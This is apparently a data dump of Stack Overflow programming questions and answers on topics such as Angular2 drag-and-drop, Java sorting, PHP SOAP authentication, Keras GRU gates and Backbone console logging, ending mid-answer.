36941627	0	 <blockquote> <p>Pushing and popping is definitely not a problem and you dont need a singleton request for it.</p> <p>Other thing for the <code>TableViewCell</code> , i would advise to make separate reusable cell index for the normal table cell and for the advertisement cell. That way , the cell will be reused and you dont need to recreate GADView everytime.</p> </blockquote>
18057685	0	 <p>You can try:</p> <pre><code>CultureInfo CultureInfoDateCulture = new CultureInfo("en-US"); DateTime date; bool works = DateTime.TryParseExact(dateString, "MM/dd/yyyy", CultureInfoDateCulture , DateTimeStyles.None, out date)) </code></pre>
12989084	0	 <p>change this </p> <pre><code>message[i].getFrom() </code></pre> <p>to</p> <pre><code>message[i].getFrom()[0].toString()) </code></pre>
40104782	0	JAXB marshall date as epoch not consistent across databases <p>When we marhsal a date from a mysql database out of the box JAXB converts this to milliseconds since the epoch, which is what we want.</p> <p>However when swapping the database to oracle the JAXB marshal converts this to a string.</p> <p>I imagine this is due to different formats stored in the databases? Is there a way to force the serialisation to milliseconds to be consistent?</p> <p>Thanks Ian</p>
33838176	0	 <p>You can explicitly set TerminationGracePeriodSeconds to zero in the PodSpec to obtain the old behavior.</p>
21194987	0	 <p>Just don't change the <code>overflow</code> property:</p> <pre><code>nav &gt; ul &gt; li:hover &gt; ul { min-height: 110px; /*overflow: visible; Remove this*/ } </code></pre> <p>Check this <a href="http://jsfiddle.net/r9Dyq/1/" rel="nofollow">http://jsfiddle.net/r9Dyq/1/</a></p>
22925087	0	how to use html to post multipart/form-data <p>I have form, I want to post through multipart/form-data. How to use html to specify each fields' type.</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt; New Student &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form action="http://10.128.157.12:8080/student" method="post" enctype="multipart/form-data"&gt; student first name: &lt;input type="text" size="100" name="firstname" value="Michael"/&gt;&lt;br&gt; student last name: &lt;input type="text" size="100" name="lastname" value="William"/&gt;&lt;br&gt; student age: &lt;input type="text" size="100" name="age" value="34" /&gt; &lt;br&gt; &lt;input type="submit" value="Submit" autofocus="autofocus" /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
38242778	0	Error When I try to add dynamically component with angular2 using drag and drop <p>this is my directives to drag and drop</p> <p>I want when I apply my drag and drop to add a component to my div I did the some things after event click but now I how to change it to drag and drop </p> <pre><code>import { Directive, Output, EventEmitter, ElementRef, Input, Renderer, ViewContainerRef, ViewChild, ComponentResolver, ComponentRef } from '@angular/core'; import {Div444} from "../gridmanager/div4-4-4.component"; declare var jQuery:JQueryStatic; @Directive({ selector: '[dnd_drag_grid]', host: { '(dragstart)': 'onDragStart($event)', '(dragend)': 'onDragEnd($event)', '(drag)': 'onDrag($event)', } }) export class dnd_drag_grid { elementDrag:HTMLElement; @Input("drag") drag; set draggable(value:boolean) { this.drag = !!value; } elem:HTMLElement; constructor(private componentRef:ComponentRef, private resolver:ComponentResolver, private el:ElementRef, private renderer:Renderer) { this.renderer.setElementAttribute(this.el.nativeElement, 'draggable', 'true'); this.renderer.setElementStyle(this.el.nativeElement, 'cursor', 'move'); } onDrag(event:MouseEvent) { console.log(" -----onDrag---- " + this.drag); this.renderer.setElementStyle(this.el.nativeElement, 'border-style', 'dotted'); } onDragEnd(event:Event) { console.log(" -----DragEnd---- " + this.drag); this.renderer.setElementStyle(this.el.nativeElement, 'border', 'none'); } onDragStart(event:DragEvent) { console.log(" ----DragStart----- " + this.drag); this.elementDrag = this.el.nativeElement; } } @Directive({ selector: '[dnd_drop_grid]', host: { '(dragover)': 'onAllowDrop($event)', '(drop)': 'onDrop($event)', '(dragleave)': 'ondragleave($event)', '(dragenter)': 'onDragEnter($event)' } }) export class dnd_drop_grid { elementDrop:HTMLElement; @Input("drop") drop; @Input("target") target; set droppable(value:boolean) { this.drop = !!value; } set setTarget(value:string) { this.target = value; } elem:HTMLElement; @ViewChild('', {read: ViewContainerRef}) component_target; constructor(private componentRef:ComponentRef, private resolver:ComponentResolver, private el:ElementRef, private renderer:Renderer) { console.log("target "+ this.target); } onAllowDrop(event:DragEvent) { this.component_target = this.target; console.log("target "+ this.target); console.log("on allow drop "); event.preventDefault(); this.renderer.setElementStyle(this.el.nativeElement, 'borderStyle', 'dotted'); this.renderer.setElementStyle(this.el.nativeElement, 'borderColor', 'red'); } ondragleave(event:DragEvent) { this.renderer.setElementStyle(this.el.nativeElement, 'borderStyle', 'bridge'); this.renderer.setElementStyle(this.el.nativeElement, 'borderColor', 'white'); console.log("target "+ this.target); } onDragEnter(event:Event) { console.log("target "+ this.target); } onDrop(event:DragEvent) { console.log("target "+ this.target); this.elementDrop = this.el.nativeElement; event.preventDefault(); this.resolver.resolveComponent(Div444).then((factory) =&gt; { this.componentRef = this.component_target.createComponent(factory); }); this.renderer.setElementStyle(this.el.nativeElement, 'borderStyle', 'bridge'); this.renderer.setElementStyle(this.el.nativeElement, 'borderColor', 'white'); console.log("is dropped !"); } } </code></pre> <p>and I add this in my template .html </p> <pre><code>&lt;li dnd_drag_grid drag="true"&gt;Div 4-4-4&lt;/li&gt; &lt;div dnd_drop_grid target="val" drop="true" class="page" id="content" size="A4" layout="portrait" &gt; &lt;div #val hidden&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>this is my error</p> <pre><code> Unhandled Promise rejection: _this.component_target.createComponent is not a function ; Zone: angular ; Task: Promise.then ; Value: TypeError: _this.component_target.createComponent is not a function(…) </code></pre>
12097977	0	 <p>CSS:</p> <pre><code>#pages-content ul li{ width: 250px; height: 75px; text-align: center; } </code></pre> <p>HTML:</p> <pre><code>&lt;div id="pages-content"&gt; &lt;ul&gt; &lt;li&gt;Matter here&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p><a href="http://jsfiddle.net/3zLcT/1/" rel="nofollow">Working fiddle</a></p>
32641604	0	Java: How would I declare an undefined number of object with user inputted data? <p>for my assignment I am suppose to have a user input the name and price of items. However, they are to enter in an unlimited amount of times until a sentinel value is used. I don't actually know how I'd go about doing this. The only way I know how to declare an object with user input is to use a scanner and then place that data within the arguments of a constructor. But that would only create a single object. Thanks!</p> <pre><code>import java.util.Scanner; public class Item { public static void main(String[] args) { Scanner input = new Scanner(System.in); } private String name; private double price; public static final double TOLERANCE = 0.0000001; public Item(String name,double price) { this.name = name; this.price = price; } public Item() { this("",0.0); } public Item(Item other) { this.name = other.name; this.price = other.price; } public String getName() { return name; } public double getPrice() { return price; } public void setName(String name) { this.name = name; } public void setPrice(double price) { this.price = price; } public void input(String n, double item) { } public void show() { // Code to be written by student } public String toString() { return "Item: " + name + " Price: " + price; } public boolean equals(Object other) { if(other == null) return false; else if(getClass() != other.getClass()) return false; else { Item otherItem = (Item)other; return(name.equals(otherItem.name) &amp;&amp; equivalent(price, otherItem.price)); } } private static boolean equivalent(double a, double b) { return ( Math.abs(a - b) &lt;= TOLERANCE ); } } </code></pre>
33129138	0	 <p>You use a try..catch block to catch the Exception, then add whatever error handling logic is appropriate.</p> <pre><code>try { var response = authClient.Post&lt;AccessTokenResponse&gt;(authRequest); response.EnsureSuccessStatusCode(); } catch (WebException ex) { // something bad happened, add whatever logic is appropriate to notify the // user, log the error, etc... Console.Log(ex.Message); } </code></pre>
25347825	0	PyQt or PySide: QTextEdit deselect all <p>I'm using PySide(PyQt is fine as well) and I want to deselect everything inside a QTextEdit. Selecting everything is very easy and it's done by self.textedit.selectAll(), but I can't find a simple way to deselect everything. Is there a straightforward way to do it that I'm not aware of or is it more complicated than that?</p> <p>Thanks.</p>
16827652	0	 <p>I know you specifically asked for regex, but you don't really need regex for this. You simply need to split the string by delimiters (in this case a backslash), then choose the part you need (in this case, the 3rd field - the first field is empty).</p> <ul> <li><p><code>cut</code> example:</p> <pre><code>cut -d '/' -f 3 &lt;&lt;&lt; "$string" </code></pre></li> <li><p><code>awk</code> example:</p> <pre><code>awk -F '/' {print $3} &lt;&lt;&lt; "$string" </code></pre></li> <li><p><code>perl</code> expression, using <code>split</code> function:</p> <pre><code>(split '/', $string)[2] </code></pre></li> </ul> <p>etc.</p>
25502354	0	How can I limit the results extracted by a query in Acces? <p>I have this query in my Access database:</p> <pre><code>SELECT t_Campioni_CAMPIONE, t_Campioni.[DATA ARRIVO], t_Campioni.PRODUTTORE, t_Campioni.CodF, t_Fornitori.[Nome Fornitore] FROM t_Campioni INNER JOIN t_Fornitori ON t_Campioni.CodF = t_Fornitori.CodF WHERE (((t_Campioni.CAMPIONE)=[Forms]![m_Campioni_modifica]![CAMPIONE])) ORDER BY t_Campioni.[DATA ARRIVO] DESC; </code></pre> <p>It works but I need it to extract only the first record (with the last date). How can I do it?</p>
4647666	0	CoreData programming with multiple Entities <p>I'm looking for some help with CoreData and with Entities in general. For the purpose of my question, lets say I have a database of albums. I simple have an entity named albums with Attributes for Name, Artist, Year, Album Art, and such.</p> <p>Now, lets say I want to be able to create songs for this album. I'm thinking I should have a separate Entity for the songs, and have a one-to-many relationship with it. However, I'm not sure exactly how I would do that.</p> <p>Since I have different albums which contain different songs, I want to separate the songs from AlbumA from Album B. Now, I could have a row in the songs database for which album it belongs to, but is that the most efficient way to do this. What if I have a duplicate album name. I tried creating a unique "hash" of the album name using the time created and the name, but is there a better way.</p> <p>I also need a better way to handle deletion for when an album is deleted. </p> <p>Without using one-to-many relationships, I was able to create two separate entities, Albums and Songs, which aren't linked together. However, when I create a new album, it loads a new viewcontroller and passes the "hashes" time-stamped album name to the viewcontroller. Then when I create a new song, it uses that hashed time-stamped album name as a row in the Songs entity. That way, when I'm viewing which songs are in the album, I just set an NSPredicate to only show queries which include the hashes time-stamp. However, deletion is a problem because their are no relationships. </p> <ol> <li>Should I be using a "one-to-many relationship"?</li> <li>How should I handle determining whether an song belongs to a certain album?</li> <li>What if their are multiple albums with the same name?</li> <li>How do I handle deletion?</li> </ol> <p>If anyone could provide answers, code, or tutorial for any of these… it would be greatly appreciated.</p>
26048684	0	Sorting an array which the maximum value is similar to its size <p>I'm trying to figure out the best way to sort an array which the maximun value is similar to its size. The array does not contain repeated elements.</p> <pre><code>import java.util.Arrays; import java.util.Random; public class SortExamples { public static void main(String[] args) { SortExamples sortExample = new SortExamples(); int[] sizes = { 10000, 100000, 500000, 750000, 1000000, 1500000, 2000000, 5000000, 7500000, 10000000, 15000000 }; SortingMethod arraySort = new ArraySort(); SortingMethod quickSort = new QuickSort(); for (int i = 0; i &lt; sizes.length; i++) { System.out.println("Sorting array of length: " + sizes[i]); int[] array1 = sortExample.getArraySample(sizes[i]); int[] array2 = Arrays.copyOf(array1, array1.length); assert Arrays.equals(array1, array2); sortExample.sort(array1, arraySort); sortExample.sort(array2, quickSort); assert Arrays.equals(array1, array2); System.out.println(); } } public void sort(int[] array, SortingMethod sortingMethod) { assert !checkOrdered(array); long startTime = System.currentTimeMillis(); sortingMethod.sort(array); long endTime = System.currentTimeMillis(); System.out.println("Total time with " + sortingMethod.getClass().getSimpleName() + ": " + (endTime - startTime) + " millis."); assert checkOrdered(array); } public int[] getArraySample(int size) { int[] array = new int[size]; for (int i = 0; i &lt; size; i++) array[i] = i; shuffle(array); return array; } /** * Same as java.util.Collections.shuffle(List&lt;?&gt;, Random) * * @param array */ public void shuffle(int[] array) { Random random = new Random(); int count = array.length; for (int i = count; i &gt; 1; i--) swap(array, i - 1, random.nextInt(i)); } public boolean checkOrdered(int[] array) { for (int i = 1; i &lt; array.length; i++) if (array[i] &lt; array[i - 1]) return false; return true; } public static class ArraySort implements SortingMethod { public void sort(int[] array) { if (array.length &lt; 2) return; Integer[] auxiliarArray = new Integer[getMax(array) + 1]; for (int i = 0; i &lt; array.length; i++) { int current = array[i]; auxiliarArray[current] = current; } int k = 0; for (int j = 0; j &lt; auxiliarArray.length; j++) { Integer current = auxiliarArray[j]; if (current != null) { array[k] = current; k++; } } } public int getMax(int[] array) { int max = array[0]; for (int i = 0; i &lt; array.length; i++) if (max &lt; array[i]) max = array[i]; return max; } } public static class QuickSort implements SortingMethod { public void sort(int[] array) { sortInternal(array, 0, array.length - 1); } public void sortInternal(int[] array, int start, int end) { int i = start; int j = end; int pivot = array[(start + end) / 2]; while (i &lt;= j) { while (array[i] &lt; pivot) i++; while (array[j] &gt; pivot) j--; if (i &lt;= j) { swap(array, i, j); i++; j--; } } int startLeft = start; int endLeft = i - 1; if (startLeft &lt; endLeft) sortInternal(array, startLeft, endLeft); int startRigth = i; int endRigth = end; if (startRigth &lt; endRigth) sortInternal(array, startRigth, endRigth); } } public interface SortingMethod { public void sort(int[] array); } public static void swap(int[] array, int i, int j) { int temp = array[i]; array[i] = array[j]; array[j] = temp; } } </code></pre> <p>The output I got was:</p> <pre><code>Sorting array of length: 10000 Total time with ArraySort: 2 millis. Total time with QuickSort: 2 millis. Sorting array of length: 100000 Total time with ArraySort: 14 millis. Total time with QuickSort: 16 millis. Sorting array of length: 500000 Total time with ArraySort: 22 millis. Total time with QuickSort: 59 millis. Sorting array of length: 750000 Total time with ArraySort: 25 millis. Total time with QuickSort: 91 millis. Sorting array of length: 1000000 Total time with ArraySort: 33 millis. Total time with QuickSort: 122 millis. Sorting array of length: 1500000 Total time with ArraySort: 66 millis. Total time with QuickSort: 191 millis. Sorting array of length: 2000000 Total time with ArraySort: 100 millis. Total time with QuickSort: 278 millis. Sorting array of length: 5000000 Total time with ArraySort: 391 millis. Total time with QuickSort: 662 millis. Sorting array of length: 7500000 Total time with ArraySort: 2805 millis. Total time with QuickSort: 1033 millis. Sorting array of length: 10000000 Total time with ArraySort: 3629 millis. Total time with QuickSort: 1409 millis. Sorting array of length: 15000000 Total time with ArraySort: 3825 millis. Total time with QuickSort: 2185 millis. </code></pre> <p>Is this an existing method? Could it be useful for something?</p>
2536376	0	 <p>Selectors are ONE way to go... the alternative is to create a protocol and to require invokers of your API to provide a "delegate" object that implements the protocol. Then you can invoke the required selectors of that protocol on the delegate object that you have been given. Each has its advantages and disadvantages.</p> <p>Example using selectors: <a href="http://developer.apple.com/mac/library/documentation/cocoa/reference/foundation/Classes/NSThread_Class/Reference/Reference.html#//apple_ref/occ/clm/NSThread/detachNewThreadSelector:toTarget:withObject:" rel="nofollow noreferrer">NSThread:detachNewThreadSelector:toTarget:withObject</a></p> <p>Example using delegates:<a href="http://developer.apple.com/mac/library/documentation/cocoa/reference/foundation/Classes/NSXMLParser_Class/Reference/Reference.html#//apple_ref/occ/instm/NSXMLParser/setDelegate:" rel="nofollow noreferrer">NSXMLParser:setDelegate</a> + <a href="http://developer.apple.com/mac/library/documentation/cocoa/reference/foundation/Classes/NSXMLParser_Class/Reference/Reference.html#//apple_ref/occ/instm/NSXMLParser/parse" rel="nofollow noreferrer">NSXMLParser:parse</a> </p>
162192	0	Visual Studio 2008 - Add Reference <p>When adding a DLL as a reference to an ASP.Net project, VS2008 adds several files to the bin directory. If the DLL is called foo.dll, VS2008 adds foo.dll.refresh, foo.pdb and foo.xml. I know what foo.dll is :-), why does VS2008 add the other three files? What do those three files do? Can I delete them? Do they need to be added in source control?</p>
37988054	0	 <p>One solution is to create a version of your network that is truncated at the LSTM layer of which you want to monitor the gate values, and then replace the original layer with a custom layer in which the stepfunction is modified to return not only the hidden layer values, but also the gate values.</p> <p>For instance, say you want to access the access the gate values of a GRU. Create a custom layer GRU2 that inherits everything from the GRU class, but adapt the step function such that it returns a concatenation of the states you want to monitor, and then takes only the part containing the previous hidden layer activations when computing the next activations. I.e:</p> <pre><code>def step(self, x, states): # get prev hidden layer from input that is concatenation of # prev hidden layer + reset gate + update gate x = x[:self.output_dim, :] ############################################### # This is the original code from the GRU layer # h_tm1 = states[0] # previous memory B_U = states[1] # dropout matrices for recurrent units B_W = states[2] if self.consume_less == 'gpu': matrix_x = K.dot(x * B_W[0], self.W) + self.b matrix_inner = K.dot(h_tm1 * B_U[0], self.U[:, :2 * self.output_dim]) x_z = matrix_x[:, :self.output_dim] x_r = matrix_x[:, self.output_dim: 2 * self.output_dim] inner_z = matrix_inner[:, :self.output_dim] inner_r = matrix_inner[:, self.output_dim: 2 * self.output_dim] z = self.inner_activation(x_z + inner_z) r = self.inner_activation(x_r + inner_r) x_h = matrix_x[:, 2 * self.output_dim:] inner_h = K.dot(r * h_tm1 * B_U[0], self.U[:, 2 * self.output_dim:]) hh = self.activation(x_h + inner_h) else: if self.consume_less == 'cpu': x_z = x[:, :self.output_dim] x_r = x[:, self.output_dim: 2 * self.output_dim] x_h = x[:, 2 * self.output_dim:] elif self.consume_less == 'mem': x_z = K.dot(x * B_W[0], self.W_z) + self.b_z x_r = K.dot(x * B_W[1], self.W_r) + self.b_r x_h = K.dot(x * B_W[2], self.W_h) + self.b_h else: raise Exception('Unknown `consume_less` mode.') z = self.inner_activation(x_z + K.dot(h_tm1 * B_U[0], self.U_z)) r = self.inner_activation(x_r + K.dot(h_tm1 * B_U[1], self.U_r)) hh = self.activation(x_h + K.dot(r * h_tm1 * B_U[2], self.U_h)) h = z * h_tm1 + (1 - z) * hh # # End of original code ########################################################### # concatenate states you want to monitor, in this case the # hidden layer activations and gates z and r all = K.concatenate([h, z, r]) # return everything return all, [h] </code></pre> <p>(Note that the only lines I added are at the beginning and end of the function).</p> <p>If you then run your network with GRU2 as last layer instead of GRU (with return_sequences = True for the GRU2 layer), you can just call predict on your network, this will give you all hidden layer and gate values.</p> <p>The same thing should work for LSTM, although you might have to puzzle a bit to figure out how to store all the outputs you want in one vector and retrieve them again afterwards.</p> <p>Hope that helps!</p>
1320687	0	 <p>The <code>&lt;legend&gt;</code> element can contain any <a href="http://www.htmlhelp.com/reference/html40/inline.html" rel="nofollow noreferrer">inline element</a>, so you can apply virtually whatever formatting you'd like.</p>
38113748	0	 <p>The function <code>row.match</code> in the package <code>prodlim</code> allows you to identify the rows in one matrix that are also found (identical) in another matrix. Very convenient and easy to use.</p> <pre><code>library(prodlim) row.match(x,y) </code></pre>
17730994	0	 <p>Create a <a href="https://developers.google.com/kml/documentation/kmzarchives" rel="nofollow">KMZ file</a> which includes the pictures and the KML <a href="http://www.google.com/earth/outreach/tutorials/kmz.html" rel="nofollow">KMZ tutorial for google earth</a></p>
40283608	0	How to apply vlookup formula in blank cells only <p>I want to apply vlookup formula only in those blank cells B4, B7, B10. I want to write macro so that vlookup formula applies only to the blank cells, rest of the data remain intact. </p> <p><a href="https://i.stack.imgur.com/ecStb.png" rel="nofollow">VLOOKUPFORMULA</a></p>
37575458	0	 <p>Okay I see where you have gone wrong. Naming conventions would of actually prevented this but anyway. You're actually accessing the name like it's a static property, when in fact it's an instance property. Doing something like this will solve your problem:</p> <pre><code>let category = clothing_categories[indexPath.row] cell.nameclothing_category.text = category.name </code></pre>
8159392	0	arm-none-eabi-g++ calling globral constructor <p>I am trying to port c++ application to arm board with gcc tools (using RTOS). But my static const constructors are not being called. </p> <p>Simple code:</p> <pre><code>class TestClass { public: TestClass(); TestClass(int m); TestClass(const TestClass&amp; other); ~TestClass(); int getM() const; const TestClass&amp; operator = (const TestClass&amp; other); private: int m; }; class TestInitClass { static const TestClass TestClassObj; }; const TestClass TestInitClass::TestClassObj = TestClass(5); </code></pre> <p>I provide class definitions. But when I call this with TestInitClass::TestClassObj.getM() it returns me 0.</p> <p>There are multiple problems:</p> <ol> <li>My static const is getting allocated in .bss section. It is not getting in .ctors sections (this may be linker script problem?!)</li> <li>And even if it gets in .ctors section, how do I call these constructors</li> <li>When I use static c++ library how should I call them?</li> </ol> <p>Thanks</p>
9871158	0	Annotation based request validation <p>I'm trying to validate a numeric variable in the request, what I'm trying to achieve, for this field to be non null and numeric. I want to have different errors reported for null and conversion error.</p> <p>I was trying to use org.springframework.format.annotation.NumberFormat</p> <p>Why doesn't the @NumberFormat doesn't have default message property? Is there a reason why this has been missed. I'll now have to customize it as I'm not using the message resource bundles.</p> <pre><code>public class AddToJobsShortListWSRequest implements Serializable { @NumberFormat(style = NumberFormat.Style.NUMBER) @NotNull(message="ASL01") private Long userDetailId; </code></pre> <p>controller</p> <pre><code>public ResponseEntity&lt;String&gt; handlePostRequest(String xmlRequest, String... externalIds) { ResponseEntity&lt;String&gt; response = null; Set&lt;Enum&gt; enums = new HashSet&lt;Enum&gt;(); AddToJobsShortListWSRequest addToJobsShortListWSRequest = serializationDeserializationSupport.fromString(xmlRequest, AddToJobsShortListWSRequest.class); if(!jsonRequestValidator.validate(AddToJobsShortListWSError.class, enums, addToJobsShortListWSRequest)) { response = getBadRequestErrorResponseEntity(enums); } else{ ..... } </code></pre> <p>Validator</p> <pre><code> private void validate(@SuppressWarnings("rawtypes") Class enumClass, Object object, @SuppressWarnings("rawtypes") Set&lt;Enum&gt; enums) { BindException errors = new BindException(object, "object"); validator.validate(object, errors); @SuppressWarnings({"rawtypes"}) List fieldErrors = errors.getFieldErrors(); for (int i = 0; i &lt; fieldErrors.size(); i++) { if (fieldErrors.get(i) instanceof FieldError) { String m = ((FieldError) fieldErrors.get(i)).getDefaultMessage(); enums.add(Enum.valueOf(enumClass, m)); } } } </code></pre> <p>Is there any other annotation based validation applicable here? Also, what is the order of validation, which one kicks in first, NumberFormat, NotNull?</p> <p>Thanks in advance :)</p>
4037789	0	 <p>Combining the images can be done easily using <a href="http://www.mathworks.com/help/techdoc/math/f1-84864.html#f1-85019">concatenation</a>:</p> <pre><code>image3 = [image1 image2]; %# Concatenate horizontally </code></pre> <p>And you can then visualize <code>image3</code> using any of the functions <a href="http://www.mathworks.com/help/techdoc/ref/image.html">IMAGE</a>, <a href="http://www.mathworks.com/help/techdoc/ref/imagesc.html">IMAGESC</a>, or <a href="http://www.mathworks.com/help/toolbox/images/ref/imshow.html">IMSHOW</a>:</p> <pre><code>image(image3); %# Display the image in a figure window </code></pre> <p><br> <strong>NOTE:</strong></p> <p>You didn't mention what type of images you are dealing with, only that they are 2-dimensional matrices of pixel data. This means they could be <a href="http://www.mathworks.com/help/toolbox/images/f14-13543.html#f14-33397">binary images</a> (with pixel values of 0 or 1), <a href="http://www.mathworks.com/help/toolbox/images/f14-13543.html#f14-13941">grayscale images</a> (with pixel values that represent a range from black to white), or <a href="http://www.mathworks.com/help/toolbox/images/f14-13543.html#f14-17587">indexed color images</a> (with pixel values that represent indices into a colormap).</p> <p>For binary and grayscale images, the above solution should work fine. However, indexed color images could be trickier to combine if each image has its own unique <a href="http://www.mathworks.com/help/techdoc/ref/colormap.html">colormap</a>. If the image is loaded from a file using the function <a href="http://www.mathworks.com/help/techdoc/ref/imread.html">IMREAD</a>, you can get the color map like so:</p> <pre><code>[image1,map1] = imread('image1.png'); %# Image and colormap for image file 1 [image2,map2] = imread('image2.png'); %# Image and colormap for image file 2 </code></pre> <p>Now, if <code>map1</code> and <code>map2</code> contain different arrangements of colors, the two images can't be so easily combined. One solution would be to first convert the images to 3-dimensional <a href="http://www.mathworks.com/help/toolbox/images/f14-13543.html#f14-20224">truecolor images</a> using the function <a href="http://www.mathworks.com/help/techdoc/ref/ind2rgb.html">IND2RGB</a>, then combine them using the function <a href="http://www.mathworks.com.au/help/techdoc/ref/cat.html">CAT</a>:</p> <pre><code>image1 = ind2rgb(image1,map1); %# Convert image 1 to RGB image2 = ind2rgb(image2,map2); %# Convert image 2 to RGB image3 = cat(2,image1,image2); %# Concatenate the images along dimension 2 </code></pre> <p>And now you can view <code>image3</code> as described above.</p>
32251318	0	Warning: SoapClient::SoapClient(http://www.w3.org/2005/05/xmlmime): failed to open stream: HTTP request failed! HTTP/1.1 401 Authorization Required <p>I have simple script connection call using PHP 5.2.10 to a Web service working with SOAP 1.2. </p> <p>The same PHP installation is able to connect via Web service to another web server working with SOAP 1.1 without issues. In addition, the web services using 1.2 is working fine with another two servers using almost the same hard code.</p> <p>However, every time I am using SOAP 1.2 on this server with PHP 5.2.10 I got the bellow error if I run the script from a batch file:</p> <pre><code>Warning: SoapClient::SoapClient(http://www.w3.org/2005/05/xmlmime): failed to open stream: HTTP request failed! HTTP/1.1 401 Authorization Required in C: \NewSimpleConnectionTest.php on line 10 </code></pre> <p>If the script is running via Eclipse PHP with PHP 5.2 on a different computer, it does not have any error so the hard code seems fine, user and password are correct too because it is used on the others servers and on the Eclipse test:</p> <p>My script is this: </p> <pre><code>&lt;?php $_endpoint = "http://server:8080/serverv/ServerAPI"; $_username = "userServer"; $_password = "123ABC!"; try { $client = new SoapClient($_endpoint."?WSDL", array('location' =&gt; $_endpoint, 'login' =&gt; $_username, 'password' =&gt; $_password, 'trace' =&gt; 1, 'features' =&gt; SOAP_USE_XSI_ARRAY_TYPE + SOAP_SINGLE_ELEMENT_ARRAYS, 'soap_version' =&gt; SOAP_1_2)); echo 'Connected to Web Services.'; }catch(Exception $e){ echo 'Failure to connect to WebServices.'; } ?&gt; </code></pre> <p>This is the information in the SOAP and XML phpinfo.</p> <pre><code>SimpleXML Simplexml support =&gt; enabled Revision =&gt; $Revision: 1.151.2.22.2.46 $ Schema support =&gt; enabled soap Soap Client =&gt; enabled Soap Server =&gt; enabled Directive =&gt; Local Value =&gt; Master Value soap.wsdl_cache =&gt; 1 =&gt; 1 soap.wsdl_cache_dir =&gt; /tmp =&gt; /tmp soap.wsdl_cache_enabled =&gt; 1 =&gt; 1 soap.wsdl_cache_limit =&gt; 5 =&gt; 5 soap.wsdl_cache_ttl =&gt; 86400 =&gt; 86400 </code></pre> <p>Any idea about what is missing or the problem on this PHP version to work with SOAP 1.2 in that server?</p> <p>Thanks in advance!!</p>
20186846	0	 <p>Make your HTML like this:</p> <pre><code>&lt;input type="text" name="mytextbox" id="mytextbox" onKeyUp="countChar(this)" size="1" maxlength="1" value="" /&gt; </code></pre> <p>And JS will be this:</p> <pre><code>function countChar(that) { var xy = that.value; var len = xy.length; if (len &gt;= 2) { that.value = that.value.substring(0, 1); } else { that.value=(1 - len); } } </code></pre>
8793450	0	 <p>what you have to do to solve this problem is explicitly define the height of the input and then also define the font-size. For example:</p> <pre><code>input{ height:14px; font-size:10px; } </code></pre>
29135280	0	Java Array out of bounds error isn't out of bounds? <p>This code is the relevant portion of my program, and it produces an array out of bounds error, and I can't figure out why. My error is 'java.lang.ArrayIndexOutOfBoundsException: 6', with 6 being a random value, at the if statement in randomShot();</p> <pre><code>public class Ai { private int WIDTH; private int HEIGHT; public Ai(){ WIDTH=10; HEIGHT=10; } int[][] board=new int[WIDTH][HEIGHT]; Random rand = new Random(); public void randomShot(){ x=rand.nextInt(WIDTH/2); y=rand.nextInt(HEIGHT); x=x*2; if(y%2==0) { y+=1; } if(board[x][y]!=0) //java.lang.ArrayIndexOutOfBoundsException: 6 { randomShot(); } } </code></pre> <p>I have noticed that if I use the code</p> <pre><code>int[][] board=new int[10][10]; </code></pre> <p>it works perfectly fine. I can't see why this is happening, it's doing exactly the same thing?</p>
36736466	0	Google Analytics for Advanced Data Extraction <p>I am planning to use the FREE Google Analytics as the engine for analytic for an ecommerce website. Is it possible for me to do the advanced data extraction from Google Analytics for the following task?</p> <ol> <li><p>Every merchants will have their own analytic statistic on the website control panel to view how is their store page performing, which product people view the most, and etc detail statistic info.</p></li> <li><p>Web system will able to use Google Analytics to have deep understanding about each individual customer like what product they view the most, how frequently they visit and etc. Then, using the info to provide most relevant suggestion to each individual customer.</p></li> </ol> <p>Is this possible to be done with Google Analytics or I really need to have my own analytic system &amp; store all the data myself?</p>
2086081	0	 <p>I think it's because of the circular reference between InventoryUser and ProductUserPK.</p> <p>Either InventoryUser.pk or ProductUserPK.user should be lazy.</p>
20657924	0	 <p>When you are storing code in MySQL wrap the input in the <code>addslashes()</code> PHP function. Then when you retrieve code from MySQL you need to wrap the output in <code>stripslashes()</code>. </p> <p>See: <a href="http://www.php.net/stripslashes" rel="nofollow">http://www.php.net/stripslashes</a> <a href="http://li1.php.net/addslashes" rel="nofollow">http://li1.php.net/addslashes</a></p> <p>Hopefully this is what you were looking for.</p>
11463190	0	 <p>Be careful about trusting the console, there is often asynchronous behavior that can trip you up.</p> <p>You're expecting <code>console.log(x)</code> to behave like this:</p> <ol> <li>You call <code>console.log(x)</code>.</li> <li><code>x</code> is dumped to the console.</li> <li>Execution continues on with the statement immediately following your <code>console.log(x)</code> call.</li> </ol> <p>But that's not what happens, the reality is more like this:</p> <ol> <li>You call <code>console.log(x)</code>.</li> <li>The browser grabs a reference to <code>x</code>, and queues up the "real" <code>console.log</code> call for later.</li> <li>Various other bits of JavaScript run (or not).</li> <li>Later, the <code>console.log</code> call from <strong>(2)</strong> gets around to dumping the current state of <code>x</code> into the console but this <code>x</code> won't necessarily match the <code>x</code> as it was in <strong>(2)</strong>.</li> </ol> <p>In your case, you're doing this:</p> <pre><code>console.log(this.attributes); console.log(this.attributes.widgets); </code></pre> <p>So you have something like this at <strong>(2)</strong>:</p> <pre><code> attributes.widgets ^ ^ | | console.log -+ | console.log -----------+ </code></pre> <p>and then something is happening in <strong>(3)</strong> which effectively does <code>this.attributes.widgets = [...]</code> (i.e. changes the <code>attributes.widget</code> reference) and so, when <strong>(4)</strong> comes around, you have this:</p> <pre><code> attributes.widgets // the new one from (3) ^ | console.log -+ console.log -----------&gt; widgets // the original from (1) </code></pre> <p>This leaves you seeing two different versions of <code>widgets</code>: the new one which received something in <strong>(3)</strong> and the original which is empty.</p> <p>When you do this:</p> <pre><code>console.log(_(this.attributes).clone()); console.log(_(this.attributes.widgets).clone()); </code></pre> <p>you're grabbing copies of <code>this.attributes</code> and <code>this.attributes.widgets</code> that are attached to the <code>console.log</code> calls so <strong>(3)</strong> won't interfere with your references and you see sensible results in the console.</p> <p>That's the answer to this:</p> <blockquote> <p>It's showing that widgets is not empty when logging <code>this.attributes</code> but it's shown as empty when logging <code>this.attributes.widgets</code>. Does anyone know what would cause this?</p> </blockquote> <p>As far as the underlying problem goes, you probably have a <code>fetch</code> call somewhere and you're not taking its asynchronous behavior into account. The solution is probably to bind to an <code>"add"</code> or 